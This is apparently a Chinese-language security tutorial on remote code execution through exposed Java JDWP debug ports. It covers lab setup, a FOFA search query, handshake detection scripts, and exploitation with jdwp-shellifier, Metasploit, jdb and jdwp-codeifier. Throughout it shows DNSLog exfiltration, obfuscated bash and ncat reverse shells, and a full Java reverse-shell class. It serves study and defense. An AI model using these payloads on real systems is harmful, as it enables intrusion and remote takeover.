JDWP初识

JPDA

介绍

JDWP(Java Debug Wire Protocol,Java 调试线协议)是 Java 平台调试架构(JPDA,Java Platform Debugger Architecture)中的一部分,是调试器(debugger)与被调试进程(debuggee)之间通信的协议。

与PHP的 Xdebug 类似,当其调试端口直接开放在公网上时,很容易被攻击者攻击并且获取系统权限。

JPDA(Java Platform Debugger Architecture)由以下三部分组成:

组件 作用说明
JDI(Java Debug Interface) 调试器用的高级 Java API
JDWP(Java Debug Wire Protocol) 调试器和被调试进程通信的协议
JVMTI(Java Virtual Machine Tool Interface) JVM 提供的底层接口,用于工具与 JVM 交互

其中 JDWP 起到了桥梁作用:调试器通过 JDI 发送命令,JDWP 负责把命令以二进制格式发送给 JVM(使用 JVMTI)并返回结果。

其整体架构如图

image-20241118154709215

使用

JDWP 是 JVM 的一个 Agent,在运行 Java 程序时可以通过参数启动 JDWP,例如:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000 -jar spring-boot-demo-helloworld.jar
参数 含义说明
transport=dt_socket 使用 socket 作为通信方式
server=y 以服务端身份启动 JDWP(等待调试器连接)
suspend=n 不挂起 JVM(可设为 y 表示在连接前挂起)
address=5005 监听端口号

一旦监听端口开放,调试器就可以远程连接并执行如下操作:

  • 设置断点
  • 查看变量
  • 修改变量
  • 执行表达式
  • 单步调试
  • 查看线程、堆栈等

识别

python2:

import socket

client = socket.socket()
client.connect(("192.168.0.100", 8000))
client.send("JDWP-Handshake")

if client.recv(14)=="JDWP-Handshake":
    print "[*] Detected JDWP service"

client.close()

JDWP远程命令执行漏洞

JDWP 在生产环境中极其危险,因为一旦监听了 5005 且无认证,攻击者可以直接连接并执行任意 Java 代码。

漏洞原理

如果目标Java应用开启了JDWP服务且对外开放,则攻击者可利用JDWP实现远程代码执行。

环境搭建

以Windows为例,下载Tomcat到本地,在startup.bat中上面添加如下代码开启debug模式:

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

跑起Tomcat即可。

FOFA语法

banner="jdwp"

服务探测

有三种常用方式来进行JDWP服务探测,原理都是一样的,即向目标端口连接后发送JDWP-Handshake,如果目标服务直接返回一样的内容则说明是JDWP服务。

Nmap

使用Nmap扫描:

nmap -sT -sV 192.168.192.1 -p 8000

扫描会识别到JDWP服务,且有对应的JDK版本信息:

image-20241118155035424

Telnet

使用Telnet命令探测,需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务:

image-20241118155100421

脚本

使用如下脚本扫描也可以,直接连接目标服务发送JDWP-Handshake,然后接受到相同内容则说明是JDWP服务:

import socket

client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")

if client.recv(1024) == b"JDWP-Handshake":
    print("[*]JDWP Service!")

client.close()

漏洞利用

漏洞利用可借助以下三个工具。

jdwp-shellifier

直接用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier

该工具通过编写了一个JDI(JDWP客户端),以下断点的方式来获取线程上下文从而调用方法执行命令。

需要Python2运行。

默认break on是在java.net.ServerSocket.accept方法上,

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "calc"

直接设置断点函数为java.lang.String.indexOf会更快速:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "calc"

image-20241118155301596

但是前面的命令虽然执行了但是看不到回显,在Linux环境下可以利用DNSLog外带回显:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping -nc 1 `whoami`.xxx.dnslog.cn"

反弹shell:

python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ncat -lvvp 1234 -e /bin/bash"
# 下面这种不能直接运行/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1来反弹
# 跟Java的exec()反弹一个原理,可用Base64绕过
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

msf

在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。

原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。

jdb

jdb是JDK中自带的命令行调试工具。

这里是按照msf中的方式搞:

  1. attach到远程JDWP服务;
  2. threads命令查看所有线程,查找sleeping的线程;
  3. thread sleeping的线程id,然后stepi进入该线程;
  4. 通过print|dump|eval命令,执行Java表达式从而达成命令执行;

这里本地-attach参数连接会出差,换为下面的方式:

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000

执行命令:

eval java.lang.Runtime.getRuntime().exec("calc")

image-20241118155318694

当然是可以实现直接回显的

代码执行&反弹shell

https://xz.aliyun.com/news/12607

这里作者给了一个工具:https://github.com/l3yx/jdwp-codeifier

//命令执行
python2 jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m command -c 'touch /tmp/success'
python2 jdwp-codeifier.py -t 172.17.0.3 -p 5005 -m command2 -c 'ls'

//代码执行
python2 jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m code -c 'new java.util.Scanner(new java.lang.ProcessBuilder("sh","-c","whoami").start().getInputStream()).useDelimiter("--!@#").next()'


//反弹shell
python2 jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m rshell -a 172.17.0.2:8080 -l 0.1
# -a 指定接收shell的地址
# -l 指定shell与服务器连接不上时的最大存活时间(分钟)(每隔5秒自动重连)

所谓内存马,应该一般都指内存WebShell,这块已经有非常多的研究文章了。但如果放到JDWP漏洞中来看,可能并不一定适用,因为存在漏洞的应用本身或许不是一个Web应用。而这种情况下无论是通过常规意义上的反弹shell还是下载二进制木马进行进一步利用,都是一个敏感且高危的操作,可能被RASP拦截或者被入侵检测发现。

既然可以执行Java代码,那么其实可以在Java进程中启动一个线程,通过自定义的逻辑,去反弹出一个执行Java代码的"Shell",具体实现如下:

服务端通过nc监听即可

package org.example;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.time.Duration;
import java.time.LocalDateTime;

public class App extends Thread {
    private ScriptEngine scriptEngine;

    private String host;
    private Integer port;
    private Double life;

    private String execCode(String code) {
        if (code.trim().equals("")) {
            return "";
        }
        try {
            Object result = scriptEngine.eval(code);
            if (result != null) {
                return result + "\n";
            } else {
                return "";
            }
        } catch (Exception e) {
            return e + "\n";
        }
    }

    private String getInfo() {
        String info = "  os: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " " + System.getProperty("os.version");
        info += "\n";
        info += "user: " + System.getProperty("user.name");
        info += "\n";
        try {
            info += "host: " + InetAddress.getLocalHost().getHostName();
        } catch (Exception e) {
            info += "host: " + e;
        }
        return info;
    }

    @Override
    public void run() {
        boolean exit = false;
        LocalDateTime time = LocalDateTime.now();
        while (Duration.between(time, LocalDateTime.now()).toMillis() / (60.0 * 1000.0) < life && !exit) {
            try {
                Socket socket = new Socket(host, port);
                PrintWriter out = new PrintWriter(socket.getOutputStream());
                BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));

                scriptEngine = new ScriptEngineManager().getEngineByName("js");

                out.print(getInfo() + "\n\n>>> ");
                out.flush();
                String input;
                while ((input = in.readLine()) != null) {
                    time = LocalDateTime.now();

                    if (input.trim().equals("exit") || input.trim().equals("exit()")) {
                        exit = true;
                        socket.close();
                        break;
                    }
                    out.print(execCode(input) + ">>> ");
                    out.flush();
                }
            } catch (Exception e) {
                ;
            }

            if (!exit) {
                try {
                    Thread.sleep(5 * 1000);
                } catch (InterruptedException e) {
                    ;
                }
            }
        }
    }

    public App(String host, Integer port, Double life) {
        this.host = host;
        this.port = port;
        this.life = life;
    }

    public static void exploit(String host, Integer port, Double life) {
        new App(host,  port,  life).start();
    }

    public static void main(String[] args) {
        exploit("127.0.0.1", 8080, 0.3);
    }
}

image-20250521205840036

防御方法

  • 关闭JDWP服务,或限制JDWP服务不对外开放;
  • 关闭Java Debug模式;
0%